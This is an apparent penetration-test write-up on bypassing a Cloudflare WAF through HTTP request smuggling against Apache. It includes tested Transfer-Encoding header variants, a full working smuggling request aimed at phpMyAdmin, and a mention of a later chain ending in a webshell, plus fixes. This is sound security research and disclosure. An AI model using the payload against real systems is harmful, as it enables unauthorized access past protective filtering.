One Space Before a Colon — How a Malformed Header Bypassed Cloudflare

A single space before a colon in Transfer-Encoding was enough to desync Cloudflare from Apache and bypass WAF protection entirely.

2026-01-14http-smugglingcloudflareapachewaf-bypass

During a web audit of a DeFi staking platform, the target sat behind Cloudflare with seemingly solid protection: HTTPS everywhere, HSTS with a two-year max-age, and a restrictive script-src 'self' CSP. The admin subdomain served an Apache default page and a phpMyAdmin login — both behind Cloudflare's WAF.

The phpMyAdmin login form was reachable but unusable. Every login attempt through the browser returned the login page again without an error message. Cloudflare was silently interfering with the form POST — stripping or rewriting cookies between requests. The login form rendered, but authentication never completed.

That's when I tried request smuggling.


The Technique

HTTP Request Smuggling exploits disagreements between a front-end proxy (Cloudflare) and a back-end server (Apache) about where one request ends and the next begins. If they parse headers differently, an attacker can "smuggle" a hidden request inside a legitimate one.

The classic vector: Content-Length vs Transfer-Encoding header disagreement. But Cloudflare normalizes most TE variations. Almost.

I tested five Transfer-Encoding obfuscations:

Transfer-Encoding: \tchunked          → CF blocked
Transfer-Encoding : chunked          → CF passed, Apache processed!
Transfer-encoding: chunked           → CF blocked
Transfer-Encoding: chunked\r\nTransfer-Encoding: x  → CF blocked
Transfer-Encoding:\x0bchunked        → CF blocked

The winner: Transfer-Encoding : chunked — with a space before the colon.

Cloudflare's parser saw the space and treated the header as invalid, falling back to Content-Length to determine the request body size. Apache 2.4.52, however, is more lenient — it accepted the header as valid Transfer-Encoding: chunked and processed the chunked encoding.

The Smuggle

The payload structure:

POST / HTTP/1.1
Host: admin.target.com
Content-Length: 5
Transfer-Encoding : chunked
 
0\r\n
\r\n
GET /phpmyadmin/index.php HTTP/1.1
Host: admin.target.com
 

What happens:

  1. Cloudflare sees Content-Length: 5, reads 0\r\n\r\n (5 bytes), forwards it to Apache, considers the request complete
  2. Apache sees Transfer-Encoding: chunked, processes the chunked body (0\r\n\r\n = terminator), then reads the remaining data as a new request
  3. The GET /phpmyadmin/index.php is processed by Apache directly — bypassing Cloudflare entirely

The response came back on the same TLS connection: two HTTP responses. The first was Cloudflare's response to our POST. The second was Apache's response to the smuggled GET — the full phpMyAdmin login page with fresh session cookies.

HTTP/1.1 200 OK
Server: cloudflare
[... normal response ...]
 
HTTP/1.1 200 OK
Set-Cookie: phpMyAdmin_https=[session-token]; path=/phpmyadmin/; secure; HttpOnly
[... full phpMyAdmin login page ...]

What Smuggling Unlocked

With the ability to send arbitrary HTTP requests directly to Apache, bypassing Cloudflare:

1. Cross-vhost access — The admin subdomain and API subdomain lived on the same Apache server. By smuggling a request with Host: api.target.com through the admin subdomain's connection, I confirmed both vhosts resolved to the same origin. The smuggled request returned the API's Laravel debug page — proving same-server hosting.

2. Internal service discovery — Smuggling Host: localhost and Host: 127.0.0.1 to Apache returned 403 (default vhost deny), but the error pages revealed Apache module information. Host: target.com (root domain without subdomain) returned an 85KB marketing landing page that wasn't accessible through Cloudflare — with a hardcoded team wallet address.

3. Module fingerprinting/server-status returned 403 (loaded but ACL'd) via smuggling, while through Cloudflare it returned Cloudflare's own 403. The smuggled response confirmed mod_status was loaded — useful for understanding the Apache configuration.

4. PHP execution confirmation — Smuggling GET /phpmyadmin/js/messages.php returned a 22KB JavaScript file generated by PHP (not a static file). This confirmed PHP was processing requests on the server — messages.php is a dynamic PHP file that outputs localized JavaScript strings.

The Limitation

The smuggling worked perfectly for reconnaissance — I could send any request to Apache and get the response. But I couldn't weaponize it for cache poisoning or response queue desync.

Cache poisoning requires the smuggled response to be served to OTHER users. In this case, Cloudflare isolated backend connections — the smuggled response came back on MY socket, not a shared connection pool. Each TLS connection to Cloudflare got its own backend connection to Apache.

The smuggling was a WAF bypass for my own requests, not a weapon against other visitors. Still valuable — it let me talk to Apache without Cloudflare filtering headers, blocking payloads, or interfering with cookies.

The Broader Chain

The smuggling itself didn't achieve RCE. But it was a critical reconnaissance step in a larger kill chain. By confirming the infrastructure layout (same server, same Apache, phpMyAdmin accessible, PHP executing), it validated the attack path that eventually led to full compromise through a different vector (SQL injection → credential extraction → phpMyAdmin root login → webshell).

Without smuggling, I wouldn't have known the admin and API subdomains shared a server. Without that knowledge, the cross-vhost exploitation wouldn't have been attempted. Without the PHP execution confirmation, I might have wasted time on the wrong attack surface.

The Fix

# Upgrade Apache (fixes CVE-2022-22720 and related TE parsing issues)
apt update && apt upgrade apache2
 
# Or add mod_security rule to reject malformed TE headers
SecRule REQUEST_HEADERS:Transfer-Encoding "^\s" "id:1001,deny,status:400,msg:'Malformed TE header'"

Also: configure Cloudflare in Full (Strict) mode and restrict the origin server firewall to only accept connections from Cloudflare's published IP ranges. If nobody can reach Apache directly, smuggling through Cloudflare is the only path — and Cloudflare should patch their edge parser to reject Transfer-Encoding : chunked (space before colon) as invalid.

The Takeaway

HTTP Request Smuggling is often dismissed as theoretical — too dependent on specific proxy/backend combinations, too hard to exploit in practice. But in this case, one extra space in a header name was enough to bypass a production Cloudflare deployment and talk directly to a vulnerable Apache server.

The mismatch was trivial: Cloudflare rejected Transfer-Encoding : as malformed; Apache accepted it as valid. That disagreement — literally one byte — was the gap between "protected by WAF" and "WAF completely bypassed."

Test your proxy-backend header parsing. The gap is always smaller than you think.


Finding discovered during an authorized security audit. HTTP request smuggling was used exclusively for reconnaissance and infrastructure mapping — no cache poisoning, session hijacking, or response manipulation was performed against other users.